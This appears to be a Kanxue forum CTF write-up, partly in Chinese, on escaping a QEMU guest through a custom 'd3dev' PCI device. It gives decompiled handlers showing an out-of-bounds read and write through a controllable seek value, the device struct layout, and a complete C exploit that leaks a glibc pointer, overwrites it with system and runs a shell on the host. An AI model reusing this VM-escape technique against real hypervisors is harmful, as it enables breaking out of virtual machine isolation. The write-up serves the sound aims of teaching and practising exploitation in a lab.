本文为看雪论坛优秀文章
看雪论坛作者ID:lakwsh
0x00 前言
#!/bin/shmkdir /tmpmount -t tmpfs none /tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devexec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/consolemdev -secho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"echo "Interactive mode\n"setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即为rootumount /procumount /syspoweroff -d 0 -f
0x01 前置知识
0x02 漏洞分析
./qemu-system-x86_64 \-L pc-bios/ \-m 128M \-kernel vmlinuz \-initrd rootfs.img \-smp 1 \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \-device d3dev \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \
void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data){PCIDeviceClass_0 *v2; // raxv2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(a1,(const char *)&env.tlb_table[1][115]._anon_0.dummy[31],"/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",229,"d3dev_class_init");v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize;v2->exit = 0LL;*(_DWORD *)&v2->vendor_id = 0x11E82333; // vendor=2333 device=11E8v2->revision = 0x10;v2->class_id = 0xFF;}
void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp){memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);}
.data.rel.ro:0000000000B78980 d3dev_mmio_ops dq offset d3dev_mmio_read; read.data.rel.ro:0000000000B78980 dq offset d3dev_mmio_write; write....data.rel.ro:0000000000B78920 d3dev_pmio_ops dq offset d3dev_pmio_read; read.data.rel.ro:0000000000B78920 dq offset d3dev_pmio_write; write
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){...if ( size == 4 ){offset = opaque->seek + (unsigned int)(addr >> 3);if ( opaque->mmio_write_part ){... // 这部分后文会细讲}else{opaque->mmio_write_part = 1;opaque->blocks[offset] = (unsigned int)val;// 任意写}}}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){uint32_t *key; // rbpif ( addr == 8 ){if ( val <= 0x100 )opaque->seek = val; // 控制seek}...}
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){...data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];// 任意读low = data;high = HIDWORD(data);... // 这里做了异或加密,后面会提到,这里省略return high;}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){uint32_t *key; // rbpif ( addr == 8 ){...}else if ( addr > 8 ){if ( addr == 28 ){opaque->r_seed = val; // "sh"key = opaque->key;do*key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(// system&opaque->r_seed,28LL,val,*(_QWORD *)&size);while ( key != (uint32_t *)&opaque->rand_r );}}...}
0x03 编写exp
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){uint64_t data; // raxunsigned int i; // esiunsigned int low; // ecxuint64_t high; // rax...i = 0xC6EF3720;low = data; // data为seek和addr控制的指针指向的8字节数据high = HIDWORD(data);do{LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low));// low << 4 <=> 16 * lowlow -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high);i += 0x61C88647;}while ( i );...return high;}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){uint32_t *key; // rbpif ( addr == 8 ){...}else if ( addr > 8 ){...}else if ( addr ){if ( addr == 4 ){*(_QWORD *)opaque->key = 0LL; // key[0] = key[1] = 0*(_QWORD *)&opaque->key[2] = 0LL; // key[2] = key[3] = 0}}else{...}}
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)00000000 pdev PCIDevice_0 ?000008E0 mmio MemoryRegion_0 ?000009D0 pmio MemoryRegion_0 ?00000AC0 memory_mode dd ?00000AC4 seek dd ?00000AC8 init_flag dd ?00000ACC mmio_read_part dd ?00000AD0 mmio_write_part dd ?00000AD4 r_seed dd ?00000AD8 blocks dq 257 dup(?)000012E0 key dd 4 dup(?)000012F0 rand_r dq ? ; offset000012F8 db ? ; undefined000012F9 db ? ; undefined000012FA db ? ; undefined000012FB db ? ; undefined000012FC db ? ; undefined000012FD db ? ; undefined000012FE db ? ; undefined000012FF db ? ; undefined00001300 d3devState ends
# lspci00:01.0 Class 0601: 8086:700000:04.0 Class 0200: 8086:100e00:00.0 Class 0600: 8086:123700:01.3 Class 0680: 8086:711300:03.0 Class 00ff: 2333:11e800:01.1 Class 0101: 8086:701000:02.0 Class 0300: 1234:1111
# cat /sys/devices/pci0000:00/0000:00:03.0/resource0x00000000febf1000 0x00000000febf17ff 0x00000000000402000x000000000000c040 0x000000000000c05f 0x00000000000401010x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x0000000000000000
febf1000即为mmio基址,c040即为pmio基址。
0x04 测试exp
exp:musl-gcc exp.c -o exp --static -Osstrip -s expfind . | cpio -H newc -ov -F ../rootfs.cpiorm exp
0x05 完整exp
const uint32_t mmio_phy_base = 0xfebf1000;const uint32_t mmio_mem_size = 0x800;const uint32_t pmio_phy_base = 0xc040;const char sys_mem_file[] = "/dev/mem";uint64_t mmio_mem = 0x0;int die(const char *err_info){printf("[-] Exit with: %s\n.", err_info);exit(-1);}void *mmap_file(const char *filename, uint32_t size, uint32_t offset){int fd = open(filename, O_RDWR|O_SYNC);if(fd<0){printf("[-] Can not open file: '%s'.\n", filename);die("OPEN ERROR!");}void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);if(ptr==MAP_FAILED){printf("[-] Can not mmap file: '*%s'.\n", filename);die("MMAP ERROR!");}close(fd);return ptr;}//mmio opvoid mmio_write(uint64_t addr, uint64_t val){*(uint64_t *)(mmio_mem+addr) = val;}uint64_t mmio_read(uint64_t addr){return *(uint64_t *)(mmio_mem+addr);}//pmio opvoid pmio_write(uint32_t addr, uint32_t val){outl(val, pmio_phy_base+addr);}uint32_t pmio_read(uint32_t addr){return inl(pmio_phy_base+addr);}void decode(uint32_t v[2]){uint32_t i = 0;do{i -= 0x61C88647;v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5));v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5));} while(i!=0xC6EF3720);}void encode(uint32_t v[2]){uint32_t i = 0xC6EF3720;do{v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5));v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5));i += 0x61C88647;} while(i);}int main(){mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base);printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size));if(iopl(3)) die("PMIO PERMISSION ERROR!");pmio_write(0, 1); // memory_mode = 1pmio_write(4, 0); // key[0-3] = 0pmio_write(8, 0x100); // seek = 0x100printf("[*] Set block seek: %#x.\n", pmio_read(8));uint64_t glibc_randr = mmio_read(24);decode(&glibc_randr);printf("[*] rand_r@glibc %#lx.\n", glibc_randr);uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset;printf("[+] system@glibc: %#lx.\n", glibc_system);encode(&glibc_system);printf("[*] Overwrite rand_r ptr.\n");mmio_write(24, glibc_system);pmio_write(28, 0x6873); // "sh"return 0;}
0x06 exp运行结果
0x07 参考
0x08 相关附件
看雪ID:lakwsh
https://bbs.pediy.com/user-home-678520.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!